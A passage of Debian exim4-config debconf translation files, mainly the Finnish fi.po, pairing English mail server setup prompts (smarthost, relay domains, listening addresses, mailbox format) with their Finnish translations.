Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" debian/po/fi.po0000644000000000000000000011262612027557533010563 0ustar # translation of fi.po to Finnish # translation of exim4-config to Finnish # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-transDevelopers do not need to manually edit POT or PO files. # Tapio Lehtonen , 2004, 2006. # # msgid "" msgstr "" "Project-Id-Version: exim4-config\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-07-03 14:06-0000\n" "Last-Translator: Esko Arajärvi \n" "Language-Team: Finnish \n" "Language: fi\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Poistetaanko jonosta viestit, joita ei ole toimitettu perille?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Exim-ohjelman viestijonossa hakemistossa /var/spool/exim4/input on viestejä, " "joita ei ole vielä toimitettu perille. Kun Exim poistetaan, niitä ei " "toimiteta perille ennen kuin Exim asennetaan uudelleen." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Jos tätä ei valita, viestijono säilytetään. Tällöin jonon viestit voidaan " "toimittaa perille myöhemmin kun Exim on asennettu uudelleen." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Tee tämän paketin sijaan paketin exim4-config asetukset" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4:n asetukset ovat erillisessä asetuspaketissa exim4-config. Exim4:n " "asetukset voidaan tehdä uudelleen komennolla ”dpkg-reconfigure exim4-config”." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "Internetiin kytketty kone; lähetys ja vastaanotto suoraan SMTP:llä" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "lähetys smarthostin kautta; vastaanotto SMTP:llä tai fetchmaililla" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "lähetys smarthostin kautta; ei paikallista sähköpostia" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "vain paikallinen sähköpostien toimitus; ei verkkoyhteyttä" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "asetuksia ei tehdä nyt" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Sähköpostiasetusten perustyyppi:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Valitse sähköpostipalvelimen asetustyypeistä parhaiten tarpeisiin sopiva." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Vaihtuvia IP-osoitteita käyttävät koneet, mukaanlukien soittoyhteyttä " "käyttävät, tulisi asettaa lähettämään sähköpostinsa toisen koneen " "(”smarthost”) kautta, koska monet Internetin järjestelmät eivät roskapostin " "torjumiseksi ota vastaan postia, joka tulee vaihtuvista IP-osoitteista." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Vaihtuvia IP-osoitteita käyttävä järjestelmä voi joko vastaanottaa oman " "sähköpostinsa tai paikallinen sähköpostin toimitus voidaan ottaa kokonaan " "pois käytöstä (paitsi tunnuksien root ja postmaster osalta)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Jätetäänkö sähköpostijärjestelmän asetukset todella tekemättä?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Sähköpostijärjestelmä ei ole käytettävissä ennen kuin sen asetukset on " "tehty. Asetukset voidaan tehdä myöhemmin joko käsin tai antamalla " "pääkäyttäjänä komento ”dpkg-reconfigure exim4-config”." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Järjestelmän postinimi:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Postinimi on verkkoaluenimi, joka lisätään postiosoitteisiin, jos " "verkkoaluenimi puuttuu." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Tätä nimeä käyttävät myös muut ohjelmat. Sen tulisi olla yksi, täydellinen " "verkkoaluenimi (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Jos tässä järjestelmässä on esimerkiksi sähköpostiosoite foo@example.org, on " "tämän asetuksen oikea arvo example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Tämä nimi ei näy lähtevien sähköpostien From:-riveillä, jos osoitteiden " "uudelleenkirjoitus on käytössä." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Muut vastaanottajat, joiden posti hyväksytään:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Anna puolipistein eroteltuna verkkoalueet, joiden lopullisena " "vastaanottajana tämä kone toimii. Näitä verkkoalueita kutsutaan " "”paikallisiksi verkkoalueiksi”. Paikallinen konenimi (${fqdn}) ja " "”localhost” lisätään aina tässä annettuun listaan." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Kaikkia paikallisia verkkoalueita käsitellään oletusarvoisesti samalla " "tavalla. Jos sekä a.example että b.example ovat paikallisia verkkoalueita, " "osoitteet tunnus@a.example ja tunnus@b.example toimitetaan samalle " "vastaanottajalle. Jos eri verkkoaluenimiä halutaan käsitellä eri tavoilla, " "on asetustiedostoja muokattava jälkeenpäin." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Verkkoalueet, joiden posti välitetään:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Anna puolipistein eroteltuna verkkoalueet, joille tämä kone välittää " "sähköpostia, esimerkiksi vara-MX:nä tai sähköpostiyhdyskäytävänä. Tämä kone " "vastaanottaa näille verkkoalueille lähetettyä sähköpostia kaikkialta " "Internetistä ja toimittaa ne perille paikallisten sääntöjen mukaisesti." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Älä kirjoita tähän paikallisia verkkoalueita. Korvausmerkkejä voidaan " "käyttää." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Koneet, joille välitetään postia:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Anna puolipistein eroteltuina IP-osoitealueet, joille tämä kone välittää " "sähköpostia ilman ehtoja, toimien smarthostina." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Käytä standardia muotoa osoite/peite (esim. 194.222.242.0/24 tai " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Jos tämä järjestelmä ei toimi smarthostina millekään muulle koneelle, jätä " "kenttä tyhjäksi." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Paikallisten käyttäjien näkyvä verkkoaluenimi:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Paikallinen sähköpostinimi on valittu piilotettavaksi lähtevässä postissa. " "Tästä syystä on tarpeen määrittää verkoaluenimi, jota paikallisten " "käyttäjien lähettämissä viesteissä käytetään verkkoaluenimenä." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Lähtevän postin smarthostin IP-osoite tai konenimi:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Anna lähtevän postin smarthostina käytettävän koneen IP-osoite tai konenimi. " "Jos smarthost hyväksyy tämän koneen sähköpostin vain muuhun porttiin kuin " "TCP/25, lisää osoitteen loppuun kaksi kaksoispistettä ja portin numero " "(esimerkiksi smarthost.example::587 tai 192.168.254.254::2525). IPv6-" "osoitteissa kaksoispisteet on kahdennettava." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Jos smarthost vaatii tunnistautumisen, katso hakemistossa /usr/share/doc/" "exim4-base olevista Debiania koskevista README-tiedostoista ohjeita SMTP-" "tunnistautumisen asettamiseen." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Pääkäyttäjän ja postmasterin sähköpostin vastaanottaja:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Järjestelmätunnuksille ”postmaster”, ”root” jne. tuleva sähköposti on " "lähetettävä edelleen järjestelmän ylläpitäjän varsinaiselle " "käyttäjätunnukselle." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Jos tämä arvo jätetään tyhjäksi, nämä viestit tallennetaan tiedostoon /var/" "mail/mail, mikä ei ole suositeltavaa." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Huomaa että tunnuksen ”postmaster” sähköposti tulisi yleensä lukea siinä " "järjestelmässä, johon se on lähetetty, eikä välittää sitä muualle. Näin " "ollen valitsemiesi käyttäjien (tai ainakin yhden heistä) ei pitäisi ohjata " "postiaan tämän koneen ulkopuolelle. Osoitteen etuliitteellä ”real-” voidaan " "pakottaa postin toimitus paikallisesti." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Käyttäjätunnukset tulee kirjoittaa välilyönnein eroteltuina." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-osoitteet, joista kuunnellaan sisääntulevia SMTP-yhteyksiä:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Anna IP-osoitteet puolipistein eroteltuina. Eximin SMTP:tä kuunteleva " "taustaprosessi kuuntelee kaikkia annettuja IP-osoitteita." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Jos tämä jätetään tyhjäksi, Exim kuuntelee yhteyksiä kaikista käytössä " "olevista verkkoliitännöistä." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Jos tämä kone ei ota vastaan sähköpostia muilta koneilta, vaan ainoastaan " "paikallisilta palveluilta, esimerkiksi localhostille puhuvilta " "sähköpostiohjelmilta (MUA) tai fetchmaililta, on suositeltavaa kieltää " "ulkoiset yhteydet paikalliseen Exim-taustaohjelmaan. Jos tähän syötetään " "127.0.0.1, ulkoisia yhteksiä ei voida ottaa, koska asetus poistaa käytöstä " "julkisten verkkoliitäntöjen kuuntelun." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "" "Tehdäänkö mahdollisimman vähän DNS-kyselyitä (tarvittaessa avattava " "soittoyhteys)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Tavallisessa toimintatilassa Exim tekee DNS-kyselyitä käynnistyessään sekä " "vastaanottaessaan tai toimittaessaan viestejä. Tietoja käytetään lokin " "kirjoittamiseen. Näin toimimalla asetustiedostoihin tarvitsee määrittää " "vähemmän arvoja." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Jos tällä koneella ei ole pysyvää yhteyttä nimipalveluun (DNS) (esimerkiksi " "kun käytetään tarvittaessa avattavaa soittoyhteyttä), tällä saattaa olla ei-" "toivottuja seurauksia. Esimerkiksi Eximin käynnistys tai postijonon " "käsittely (vaikka siinä ei olisikaan yhtään viestiä) saattaa aiheuttaa " "kalliin soittoyhteyden avaamisen." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Tämän valinnan tulisi olla päällä, jos järjestelmä käyttää tarvittaessa " "avattavaa soittoyhteyttä. Jos Internet-yhteys on päällä koko ajan, tämän " "valinnan tulisi olla poissa käytöstä." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Sähköpostipalvelimen asetukset" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Jaetaanko asetukset pieniin tiedostoihin?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debianin exim4-paketit voivat käyttää joko ”jakamatonta asetustiedostoa”, " "jolloin asetukset ovat yhdessä suuressa tiedostossa (/etc/exim4/exim4.conf." "template), tai ”jaettuja asetustiedostoja”, jolloin Eximin asetukset " "muodostetaan noin 50 pienemmästä hakemistossa /etc/exim4/conf.d/ olevasta " "tiedostosta." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Jakamaton asetustiedosto sopii paremmin isoihin muutoksiin ja on yleisesti " "ottaen vakaampi. Jaetut asetustiedostot puolestaan tarjoavat mukavan tavan " "pienten muutosten tekemiseen, mutta ovat helpommin särkyvä järjestelmä ja " "voivat mennä rikki, jos asetuksia muutetaan huolimattomasti." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Tarkempia tietoja jakamattomista ja jaetuista asetustiedostoista löytyy " "hakemiston /usr/share/doc/exim4-base Debiania käsittelevistä README-" "tiedostoista." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Piilotetaanko paikallinen postinimi lähtevässä postissa?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Lähtevien viestien otsikkorivejä voidaan muokata siten, että posti näyttää " "tulevan joltain muulta koneelta. Jos tämä valitaan, muutetaan riveillä From, " "Reply-To, Sender ja Return-Path olevat ”${mailname}”, ”localhost” ja " "”${dc_other_hostnames}”." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox-muoto hakemistossa /var/mail" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir-muoto kotihakemistossa" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Paikallisen sähköpostin toimitustapa:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim voi tallentaa paikallisesti välitetyn sähköpostin eri tavoilla. " "Käytetyimmät tallennustavat ovat mbox ja Maildir. mbox tallentaa koko " "postikansion hakemistoon /var/mail/ yhteen tiedostoon. Maildir tallentaa " "jokaisen viestin omaan tiedostoonsa hakemistoon ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Useimmat Debianin sähköpostityökalut oletusarvoisesti odottavat paikallisen " "toimitustavan olevan mbox." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Siirretäänkö perille toimittamattomat sähköpostit exim(v3):n postijonosta " #~ "exim4:n postijonoon?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Exim(v3):n (tai exim-tls(v3):n) postijonossa hakemistossa /var/spool/exim/" #~ "input/ on joitakin perille toimittamattomia viestejä." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Valinta siirtää nämä viestit exim4:n postijonoon (/var/spool/exim4/" #~ "input/), josta exim4 ne käsittelee." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Muunnos on yksisuuntainen: Exim4 osaa käsitellä exim(v3):n postijonon " #~ "mutta ei päinvastoin. Viestit pitäisi siirtää vain jos ei ole tarkoitus " #~ "palata takaisin exim(v3):een. Muussa tapauksessa viestit olisi " #~ "siirrettävä myöhemmin itse." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "" #~ "Jos tämä luettelo on tyhjä, exim ei kuljeta viestejä paikallisille " #~ "vastaanottajille." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Huomaa tämän olevan yksisuuntainen tie: exim4 osaa käsitellä exim(v3):n " #~ "postijonoa, mutta ei toisinpäin. " #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Siirä sähköpostit vain jos et aio palata exim(v3):een. Muussa tapauksessa " #~ "posteja ei pitäisi siirtää nyt, vaan siirrät ne itse kunhan olet " #~ "muuttanut asetukset. " #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Jos on lisää, kirjoita ne tähän kaksoispisteellä eroteltuina. Voit jättää " #~ "tyhjäksi jos ei ole enempää. " #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "Kirjoita ne verkkoalueet joiden posti hyväksytään välitettäväksi." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Näiden verkkoalueiden posti hyväksytään välitettäväksi mistä tahansa " #~ "Internetistä. Älä kirjoita paikallisia verkkoalueita tähän. " #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Tähän kirjoitettavat verkkoaluenimet olisi eroteltava kaksopispisteellä. " #~ "Jokerimerkkejä voi käyttää. " #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Koska paikallisen postinimen piilotus on käytössä lähtevälle postille, on " #~ "määritettävä verkkoaluenimi jota käytetään paikallisten käyttäjien " #~ "lähtevissä sähköposteissa; tyypillisesti tämä on se kone jossa " #~ "normaalisti vastaanotat sähköpostit." #~ msgid "Where will your users read their mail?" #~ msgstr "Missä käyttäjät lukevat sähköpostinsa?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "Kone joka käsittelee tämän koneen lähtevän postin (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "Kirjoita sen koneen konenimi johon lähtevä sähköposti lähetetään." #~ msgid "" #~ "Mail for the \"postmaster\", \"root\", and other system accounts is " #~ "usually redirected to the user account of the actual system " #~ "administrator. If you leave this value empty, such mail will be saved in /" #~ "var/mail/mail, which is not recommended. Note that postmaster's mail " #~ "should be read on the system to which it is directed, rather than being " #~ "forwarded elsewhere, so (at least one of) the users you choose should not " #~ "redirect their mail off this machine. Use a \"real-\" prefix to force " #~ "local delivery." #~ msgstr "" #~ "Käyttäjille \"postmaster\", \"root\" tai muu järjestelmätunnus menevä " #~ "sähköposti on tavallisesti ohjattu menemään järjestelmän pääkäyttäjän " #~ "tunnukselle. Jos jätät tämän asetuksen tyhjäksi, heidän sähköpostinsa " #~ "talletetaan tiedostoon /var/mail/mail, mitä ei suositella. Huomaa, että " #~ "käyttäjän \"postmaster\" sähköposti pitäisi lukea siinä koneessa johon se " #~ "on osoitettu, eikä ohjata sitä muualle, joten (ainakin yhden) " #~ "valitsemistasi käyttäjistä ei pitäisi ohjata sähköpostiaan muualle tästä " #~ "koneesta. Käytä \"real-\" etuliitettä pakottaaksesi sähköpostin " #~ "toimitettavaksi paikallisesti." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Käytä tätä ominaisuutta jos soittoyhteys avataan tarvittaessa. Muussa " #~ "tapauksessa ota se pois päältä." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Valitse asetustyypeistä se joka parhaiten sopii tarpeisiisi." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "" #~ "Jos olet epävarma, ei pitäisi jakaa asetuksia erillisiin tiedostoihin." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "muunna itse Exim v3:n itse tehdyistä asetuksista" #~ msgid "Configure Exim4 manually?" #~ msgstr "Teetkö Exim4:n asetukset itse?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To 